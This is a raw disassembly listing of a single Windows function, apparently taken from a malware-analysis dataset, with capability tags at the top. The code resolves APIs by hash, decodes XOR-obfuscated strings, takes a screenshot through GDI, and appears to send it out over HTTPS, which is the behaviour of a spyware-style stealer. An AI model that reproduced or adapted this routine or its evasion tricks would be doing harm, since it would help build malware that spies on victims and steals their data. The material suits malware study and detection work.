Function at 0x14005c1d0
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Shutdown system
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x690]
sub rsp, 0x790
mov rax, qword [0x1400fe700]
xor rax, rsp
mov qword [rbp + 0x680], rax
xor edi, edi
mov dword [rsp + 0x58], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140041d5c
imul rax, rax, 0x64
jmp 0x140041d77
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffffa697d0ff
cmp rax, rcx
jge 0x140041d8e
add rax, 0x59682f00
jmp 0x140041d98
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x58]
call fcn.140058a30
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov r8d, 8
lea rdx, str.log.temp
lea rcx, [rbp - 0x40]
call fcn.140003ef0
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140041e66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140041e66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140041e61
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140041e40
cmp r8d, 0xb0327e93
je 0x140041e6b
test r9d, r9d
jne 0x140041e20
mov rax, qword [rax]
jmp 0x140041df0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r15d, eax
mov dword [rsp + 0x58], eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140041f16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140041f16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140041f11
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140041ef0
cmp r8d, 0xb0327e93
je 0x140041f1b
test r9d, r9d
jne 0x140041ed0
mov rcx, qword [rcx]
jmp 0x140041ea0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 1
call rdx
mov r13d, eax
movabs rax, 0xa250edbadda2c657
mov qword [rbp - 0x50], rax
movabs rax, 0x4e236c03db967b30
mov qword [rbp - 0x48], rax
movabs rcx, 0xa209acf68df18f13
mov qword [rbp + 0x550], rcx
mov qword [rbp + 0x558], rax
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp - 0x50], xmm0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x50]
call qword [sym.imp.GDI32.dll_CreateDCA]
mov rsi, rax
mov qword [rbp + 0x550], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140042026
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042026
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140042021
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140042000
cmp r8d, 0xd1420ada
je 0x14004202b
test r9d, r9d
jne 0x140041fe0
mov rcx, qword [rcx]
jmp 0x140041fb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
mov r14, rax
mov r8d, r13d
mov edx, r15d
mov rcx, rsi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r15, rax
mov rdx, rax
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400420f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400420f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400420f1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400420d0
cmp r8d, 0x2a7904ce
je 0x1400420fb
test r9d, r9d
jne 0x1400420b0
mov rcx, qword [rcx]
jmp 0x140042080
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x40], 0xcc0020
xor eax, eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], r13d
mov ebx, dword [rsp + 0x58]
mov r9d, ebx
xor r8d, r8d
xor edx, edx
mov rcx, r14
call r10
mov dword [rbp + 0x300], 0x2c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x304], xmm0
movups xmmword [rbp + 0x314], xmm0
mov qword [rbp + 0x324], rax
mov dword [rbp + 0x304], ebx
mov eax, r13d
neg eax
mov dword [rbp + 0x308], eax
mov dword [rbp + 0x30c], 0x180001
mov eax, ebx
imul eax, r13d
lea eax, [rax + rax*2]
movsxd rcx, eax
call fcn.1400c8f4c
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140042226
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042226
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140042221
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140042200
cmp r8d, 0xe713c7a8
je 0x14004222b
test r9d, r9d
jne 0x1400421e0
mov rcx, qword [rcx]
jmp 0x1400421b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x30], 0
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov r9d, r13d
xor r8d, r8d
mov rdx, r15
mov rcx, r14
call r10
movabs rax, 0xd264c982a396e07f
mov qword [rbp - 0x60], rax
movabs rax, 0x4e236c03db967b30
mov qword [rbp - 0x58], rax
movabs rcx, 0xa209acf68df18f13
mov qword [rbp + 0x540], rcx
mov qword [rbp + 0x548], rax
movdqa xmm0, xmmword [rbp + 0x540]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
mov ecx, dword [rsp + 0x58]
lea eax, [rcx + rcx*2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov r9d, 3
mov r8d, r13d
mov edx, ecx
lea rcx, [rbp - 0x60]
call fcn.140063710
mov rcx, rsi
call fcn.1400c8f00
mov rdx, r12
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rcx, qword [rbp + 0x550]
call qword [sym.imp.GDI32.dll_DeleteDC]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x430]
call sub.VCRUNTIME140.dll_memset
mov r15d, 1
mov dword [rsp + 0x20], r15d
lea r9d, [r15 + 0x3f]
lea r8d, [r15 + 0x1f]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x430]
call fcn.1400659b0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], rax
xor esi, esi
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x68], r15w
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x540], xmm0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x1e8]
call fcn.140065930
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x60], xmm0
lea r9, [rsp + 0x51]
lea r8, [rbp + 0x540]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x240]
call fcn.140066420
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140042436
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042436
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140042431
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140042410
cmp r8d, 0xe23b96e7
je 0x14004243b
test r9d, r9d
jne 0x1400423f0
mov rax, qword [rax]
jmp 0x1400423c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movabs rax, 0xc770e99af985ee51
mov qword [rbp - 0x70], rax
movabs r14, 0x4e236c03db967b30
mov qword [rbp - 0x68], r14
movabs r13, 0xa209acf68df18f13
mov qword [rbp + 0x580], r13
mov qword [rbp + 0x588], r14
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
lea rcx, [rbp - 0x70]
call r10
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140042546
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042546
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140042541
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140042520
cmp r8d, 0xbc1ee529
je 0x14004254b
test r9d, r9d
jne 0x140042500
mov rcx, qword [rcx]
jmp 0x1400424d0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movabs rax, 0xc77dc29fa398ff72
mov qword [rbp + 0x40], rax
movabs rax, 0x2b500266a8ff175c
mov qword [rbp + 0x48], rax
movabs rax, 0xb78357c6c7cd6ed3
mov qword [rbp + 0x50], rax
movabs r12, 0xc40024d1b7def752
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], r14
movabs r13, 0xb78357a4b2a10dfd
mov qword [rbp + 0x5a0], r13
mov qword [rbp + 0x5a8], r12
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
pxor xmm1, xmmword [rbp + 0x5a0]
movdqa xmmword [rbp + 0x50], xmm1
mov r8d, 0x1bb
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rbp + 0x40]
mov rcx, r15
call r10
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400426a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400426a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400426a1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140042680
cmp r8d, 0x6e003e7d
je 0x1400426ab
test r9d, r9d
jne 0x140042660
mov rcx, qword [rcx]
jmp 0x140042630
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movabs rax, 0x8d6cc092e390e73c
mov qword [rbp + 0x20], rax
movabs rax, 0x2b570d67b2fa1a46
mov qword [rbp + 0x28], rax
movabs rax, 0xb78357a4c2c97dd3
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], r12
movabs rcx, 0xa209acf68df18f13
mov qword [rbp + 0x5b0], rcx
movabs rax, 0x4e236c03db967b30
mov qword [rbp + 0x5b8], rax
mov qword [rbp + 0x5c0], r13
mov qword [rbp + 0x5c8], r12
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
pxor xmm1, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x30], xmm1
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 0x4c00000
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x20]
lea rdx, [0x1400e21c8]
mov rcx, r14
call r10
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140039fe0
nop
mov r9d, 0x1b
lea r8, str.___________________________
xor edx, edx
lea rcx, [rbp + 0xd0]
call fcn.1400564d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140003e60
mov edi, 6
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400427fc
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400427f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400427f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
xor ebx, ebx
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], bl
movabs rax, 0xd068dc9ff99dfa7e
mov qword [rbp], rax
movabs rax, 0x2a0e0171b4f05444
mov qword [rbp + 8], rax
movabs rax, 0xc2ec358489c0799c
mov qword [rbp + 0x10], rax
movabs rax, 0xc40019a8c5bf933c
mov qword [rbp + 0x18], rax
movabs rax, 0xa209acf68df18f13
mov qword [rbp + 0x5d0], rax
movabs rax, 0x4e236c03db967b30
mov qword [rbp + 0x5d8], rax
mov qword [rbp + 0x5e0], r13
mov qword [rbp + 0x5e8], r12
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x10]
pxor xmm1, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x10], xmm1
lea r8, [rbp + 0x2b0]
lea rdx, [rbp]
lea rcx, [rbp + 0x2e0]
call fcn.140052ce0
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x220]
call fcn.140004d40
nop
mov qword [rbp + 0x200], rbx
mov qword [rbp + 0x210], rbx
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x200], bl
lea r8d, [rbx + 5]
lea rdx, str..temp
lea rcx, [rbp + 0x200]
call fcn.140003ef0
nop
mov rax, qword [rbp + 0x230]
mov r8, qword [rbp + 0x210]
cmp rax, r8
jb 0x140042968
sub rax, r8
lea rcx, [rsp + 0x52]
mov qword [rsp + 0x20], rcx
lea r9, [rbx - 1]
mov r8, rax
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x1a0]
call fcn.1400663c0
lea edi, [rbx + 0xf]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1a0]
call fcn.1400666c0
mov r8, qword [rbp + 0x210]
test al, al
mov rax, qword [rbp + 0x230]
je 0x140042968
mov bl, 1
jmp 0x140042970
xor bl, bl
test dil, 1
je 0x1400429e1
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x1400429c2
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400429af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400429af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov rax, qword [rbp + 0x230]
mov r8, qword [rbp + 0x210]
test bl, bl
je 0x1400429e1
mov rdx, rax
sub rdx, r8
cmp rax, rdx
jb 0x1400439e3
lea rcx, [rbp + 0x220]
call fcn.1400529a0
movabs rax, 0xc66cde83f981ee70
mov qword [rsp + 0x70], rax
movabs rax, 0x4e236c03bcf80b1e
mov qword [rsp + 0x78], rax
movabs rdi, 0xa209acf68df18f13
mov qword [rbp + 0x570], rdi
movabs rbx, 0x4e236c03db967b30
mov qword [rbp + 0x578], rbx
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140042a41
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x220]
call fcn.140003ef0
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x330]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x330]
call fcn.140065870
nop
lea rdx, [0x1400e6f20]
lea rcx, [rbp + 0x340]
call fcn.140053130
mov rcx, rax
lea rdx, [rbp + 0x2b0]
call fcn.14002d9a0
mov rcx, rax
lea rdx, [0x1400e231c]
call fcn.140053130
movabs rax, 0x8f7dc293f99fe050
mov qword [rbp + 0x90], rax
movabs rax, 0x3a4a1f6cabe51274
mov qword [rbp + 0x98], rax
movabs rax, 0xc5ec318488cf6294
mov qword [rbp + 0xa0], rax
movabs rax, 0xe43b45a5d6bada3f
mov qword [rbp + 0xa8], rax
movabs rax, 0x38df0ca7c03e9209
mov qword [rbp + 0xb0], rax
movabs rax, 0x8d585457d267c7d8
mov qword [rbp + 0xb8], rax
movabs rax, 0x52e8dd8d78540a54
mov qword [rbp + 0xc0], rax
movabs rcx, 0x7c41df758b6bde06
mov qword [rbp + 0xc8], rcx
mov qword [rbp + 0x640], rdi
mov qword [rbp + 0x648], rbx
mov qword [rbp + 0x650], r13
mov qword [rbp + 0x658], r12
movabs rdi, 0x51b92e9aa553f367
mov qword [rbp + 0x660], rdi
movabs rbx, 0xe1313277e945a2b4
mov qword [rbp + 0x668], rbx
movabs rax, 0x52cae0e815356431
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x678], rcx
movdqa xmm0, xmmword [rbp + 0x90]
pxor xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
pxor xmm1, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0xc0], xmm1
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x340]
call fcn.140053130
mov rcx, rax
lea rdx, [rbp + 0x220]
call fcn.14002d9a0
mov rcx, rax
lea rdx, [0x1400e999c]
call fcn.140053130
movabs rax, 0x8f7dc293f99fe050
mov qword [rbp - 0x20], rax
movabs rax, 0x234a4c39bee60264
mov qword [rbp - 0x18], rax
movabs rax, 0xbae439d49dc46a9c
mov qword [rbp - 0x10], rax
movabs rax, 0xc40024d1b7def758
mov qword [rbp - 8], rax
movabs rax, 0xa209acf68df18f13
mov qword [rbp + 0x5f0], rax
movabs rax, 0x4e236c03db967b30
mov qword [rbp + 0x5f8], rax
mov qword [rbp + 0x600], r13
mov qword [rbp + 0x608], r12
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0x600]
movdqa xmmword [rbp - 0x10], xmm1
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x340]
call fcn.140053130
movabs rax, 0x8f7dc293f99fe050
mov qword [rbp + 0x60], rax
movabs rax, 0x3c460a70b5f70964
mov qword [rbp + 0x68], rax
movabs rax, 0xd9ea33cbd1cf48d0
mov qword [rbp + 0x70], rax
movabs rax, 0xb6614ab8d5fecd35
mov qword [rbp + 0x78], rax
movabs rax, 0x51b92e90a859fe1e
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rbx
movabs rax, 0xa209acf68df18f13
mov qword [rbp + 0x610], rax
movabs rax, 0x4e236c03db967b30
mov qword [rbp + 0x618], rax
mov qword [rbp + 0x620], r13
mov qword [rbp + 0x628], r12
mov qword [rbp + 0x630], rdi
mov qword [rbp + 0x638], rbx
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x70]
pxor xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x340]
call fcn.140053130
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x348]
call fcn.140066310
nop
lea r8, [rbp + 0x2b0]
lea rdx, str._r_n__
lea rcx, [rbp + 0x110]
call fcn.140052ce0
nop
mov r8d, 4
lea rdx, str.___r_n
mov rcx, rax
call fcn.140004060
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140003e60
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140042e30
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042e2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042e2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
xor r12d, r12d
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], r12b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x258], xmm0
mov qword [rbp + 0x268], rax
mov rbx, qword [rbp + 0x248]
sub rbx, qword [rbp + 0x240]
add rbx, qword [rbp + 0x2a0]
add rbx, qword [rbp + 0x280]
lea r8, [rsp + 0x50]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x258]
call fcn.140066590
lea r8, [rsp + 0x53]
mov rdx, rbx
lea rcx, [rbp + 0x258]
call fcn.1400665b0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x258]
call fcn.140065b00
mov rdi, qword [rax]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x270]
call fcn.1400660e0
mov rbx, qword [rax]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x270]
call fcn.140066100
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x198]
call fcn.140066550
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x258]
call fcn.140065b00
mov r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.140065ae0
mov rdi, qword [rax]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x240]
call fcn.140065af0
mov rbx, qword [rax]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x240]
call fcn.140065b00
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x178]
call fcn.140066550
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x258]
call fcn.140065b00
mov r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x168]
mov rcx, rax
call fcn.140065ae0
mov r8, qword [rbp + 0x248]
sub r8, qword [rbp + 0x240]
lea rdx, [rbp + 0x160]
mov rcx, rax
call fcn.140065ae0
mov rdi, qword [rax]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x290]
call fcn.1400660e0
mov rbx, qword [rax]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x290]
call fcn.140066100
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x148]
call fcn.140066550
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140043076
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140043076
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140043071
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140043050
